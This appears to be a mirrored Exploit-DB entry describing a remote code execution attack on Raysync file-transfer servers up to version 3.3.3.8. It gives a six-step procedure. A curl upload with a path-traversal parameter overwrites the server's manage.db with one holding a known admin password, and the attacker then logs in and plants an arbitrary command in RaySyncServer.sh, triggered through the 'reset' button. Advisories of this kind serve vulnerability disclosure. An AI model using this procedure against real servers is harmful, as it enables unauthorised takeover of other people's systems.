Raysync 3.3.3.8 – RCE

• Exploit Database
• 109 阅读

• 作者： james
  日期： 2020-12-16
• 类别：

  • webapps
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/49265/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26

  # Exploit Title: Raysync 3.3.3.8 - RCE # Date: 04/10/2020 # Exploit Author: XiaoLong Zhu # Vendor Homepage: www.raysync.io # Version: below 3.3.3.8 # Tested on: Linux   step1: run RaysyncServer.sh to build a web application on the local   environment, set admin password to 123456 , which will be write to   manage.db file.   step2: curl "file=@manage.db" http://[raysync ip]/avatar?account=1&UserId=/../../../../config/manager.db   to override remote manage.db file in server.   step3: login in admin portal with admin/123456.   step4: create a normal file with all permissions in scope.   step5: modify RaySyncServer.sh ,add arbitrary evil command.   step6: trigger rce with clicking "reset" button